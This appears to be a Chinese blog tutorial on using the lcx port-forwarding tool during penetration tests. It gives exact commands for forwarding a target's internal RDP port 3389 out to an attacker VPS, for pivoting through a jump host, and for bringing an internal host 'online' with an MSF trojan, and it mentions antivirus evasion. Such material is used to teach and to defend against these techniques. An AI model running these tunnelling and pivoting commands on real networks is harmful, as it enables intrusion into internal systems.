lcx端口转发(详解)

简介: 在实际渗透过程中,我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口等等。

一、Lcx的运行环境

在实际渗透过程中,我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口等等。


适用端口转发的网络环境有以下几种:

1、服务器处于内网,可以出网。

2、服务器处于外网,可以出网,但是服务器安装了防火墙来拒绝敏感端口的连接。

3、服务器处于内网,对外只开放了80端口,并且服务器不能出网。

对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络



二、本地端口转发(防火墙限制端口时)


lcx.exe –tran 666 127.0.0.1 3389     #将3389端口转发到本地666端口



②利用B跳板把C主机端口带出来


lcx.exe -tran <B主机端口> <C主机ip> <C主机端口>    #连接B主机的端口就相当于连接了C主机端口



三、lcx反向端口转发

①转发目标本机端口

目标主机执行:


lcx.exe –slave 139.XXX.XX.113 9000 127.0.0.1 3389    #将目标机器3389端口的所有流量,都转发给公网VPS的9000端口

vps执行:


lcx.exe –listen 9000 5555    #监听本地9000端口,将收到的流量转发到本机的5555端口上

然后用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。即可访问右侧内部网络中10.48.128.25服务器的3389端口。


②通过B跳板转发内网C端口

B主机执行:


lcx.exe –slave vps的ip 9000 C主机ip 3389    #将内网C机器3389端口的所有流量,都通过B主机转发给公网VPS的9000端口

vps执行:


lcx.exe –listen 9000 5555    #监听本地9000端口,将收到的流量转发到本机的5555端口上

然后连接vps本地5555端口就相当于连接到了内网C主机的3389端口


四、通过端口转发让内网主机上线:

场景:(B主机可以出网,内网主机只能访问B,不能出网,所以通过B跳板让内网主机上线)

B主机用lcx执行,这里用的portmap相当于lcx的-tran:

然后MSF生成木马(lhost=B跳板ip,lport=B跳板端口)

执行payload就能上线:


五、lcx的缺点

Lcx工具实现的是一对一的端口转发,如果想访问右侧网络中列出的所有端口,就必须一次次的重复lcx的转发过程,效率相当低下。而且服务器都是有装有杀毒软件的,即使有做免杀也不能保证绕过所有的杀毒。

目录
相关文章
|
2月前
|
SQL Apache Windows
Windows服务器80端口被占用的全面解决方案
在服务管理器中启动apache2服务,即可正常使用80端口。若系统中还安装了其他微软产品如sql等,也可尝试停止其服务进行测试,但请注意,SQL通常不会使用80端口,因此一般不会受到影响。以上就是关于80端口被system占用的详细解决方法,希望对你有所帮助。
|
5月前
|
网络协议 安全 应用服务中间件
云服务器怎么开启被关闭的端口?手把手教你开启端口
在使用云服务器时,若发现某些服务无法访问,可能是端口被关闭。本文介绍了端口关闭的原因、检查方法及开启步骤。原因包括初始设置限制、防火墙规则和外部网络策略;可通过netstat或ss命令检查端口状态,用ufw、iptables或firewalld调整防火墙规则。最后提供了解决常见问题的建议,确保端口正常开放并可供外网访问。
1050 9
|
2月前
|
弹性计算 网络协议 安全
【转】如何配置服务器的端口映射?
本文详解端口映射原理及配置方法,涵盖家庭、企业与云环境,包含静态、动态与双向映射类型,并提供常见问题解决方案。
531 6
|
弹性计算 应用服务中间件 Linux
阿里云服务器开放端口完整图文教程
笔者近期开发完成的服务端程序部署在阿里云的ECS云服务器上面,一些应用程序配置文件需要设置监听的端口(如Tomcat的8080、443端口等),虽然通过CentOs 7系统的的「防火墙」开放了对应的端口号,任然无法访问端口号对应的应用程序,后面了解到原来还需要设置云服务器的「安全组规则」,开放相应的端口权限,服务端的接口才能真正开放。
3063 1
阿里云服务器开放端口完整图文教程
|
7月前
|
SQL 关系型数据库 MySQL
云服务器常用端口作用
了解云服务器常用端口的作用有助于高效管理资源、快速定位问题及更好地使用云服务。常见端口包括:21(FTP,文件传输)、22(SSH,远程连接Linux)、25(SMTP,发送邮件)、80(HTTP,网页服务)、110/143(POP3/IMAP,接收邮件)、443(HTTPS,加密网页)、1433(SQL Server)、3306(MySQL)、3389(RDP,远程访问Windows桌面)和8080(代理服务)。
342 2
|
7月前
|
存储 安全 网络安全
阿里云国际站:阿里云服务器端口配置
悟空云@CloudWuKong阿里云是全球领先的云计算服务提供商,为用户提供弹性计算、数据库、存储、网络安全等一系列云计算服务。在使用阿里云服务器时,合理配置端口非常重要,可以提高服务器安全性和稳定性。
|
弹性计算 运维 数据安全/隐私保护
云服务器 ECS产品使用问题之如何更改服务器的IP地址或端口号
云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
|
网络协议 Linux Unix
面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
267 0
面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解